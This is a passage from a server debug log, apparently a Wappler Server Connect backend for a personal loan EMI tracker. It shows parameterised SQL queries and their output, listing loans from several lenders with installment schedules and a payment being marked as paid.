    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:44:39.840Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:44:39.840Z server-connect:app Executing action step identify
2026-04-21T16:44:39.840Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:39.840Z server-connect:output identity: 1
2026-04-21T16:44:39.841Z server-connect:app Executing action step restrict
2026-04-21T16:44:39.841Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:39.841Z server-connect:output restrict: undefined
2026-04-21T16:44:39.841Z server-connect:app Executing action step select
2026-04-21T16:44:39.841Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:44:39.844Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-04-21T16:44:46.302Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-04-21T16:44:46.302Z server-connect:app Executing action step identify
2026-04-21T16:44:46.302Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:46.302Z server-connect:output identity: 1
2026-04-21T16:44:46.303Z server-connect:app Executing action step restrict
2026-04-21T16:44:46.303Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:46.303Z server-connect:output restrict: undefined
2026-04-21T16:44:46.303Z server-connect:app Executing action step update
2026-04-21T16:44:46.303Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-04-21T16:44:46.304Z server-connect:output update: { affected: 1 }
2026-04-21T16:44:46.501Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:44:46.502Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:44:46.502Z server-connect:app Executing action step identify
2026-04-21T16:44:46.502Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:46.502Z server-connect:output identity: 1
2026-04-21T16:44:46.502Z server-connect:app Executing action step restrict
2026-04-21T16:44:46.502Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:46.502Z server-connect:app Executing action step identify
2026-04-21T16:44:46.502Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:46.502Z server-connect:output identity: 1
2026-04-21T16:44:46.502Z server-connect:app Executing action step restrict
2026-04-21T16:44:46.503Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:46.503Z server-connect:output restrict: undefined
2026-04-21T16:44:46.503Z server-connect:app Executing action step select
2026-04-21T16:44:46.503Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:44:46.504Z server-connect:output restrict: undefined
2026-04-21T16:44:46.504Z server-connect:app Executing action step custom
2026-04-21T16:44:46.504Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:44:46.505Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-04-21T16:44:46.506Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:44:49.480Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:44:49.480Z server-connect:app Executing action step identify
2026-04-21T16:44:49.480Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:49.480Z server-connect:output identity: 1
2026-04-21T16:44:49.480Z server-connect:app Executing action step restrict
2026-04-21T16:44:49.480Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:49.481Z server-connect:output restrict: undefined
2026-04-21T16:44:49.481Z server-connect:app Executing action step select
2026-04-21T16:44:49.481Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
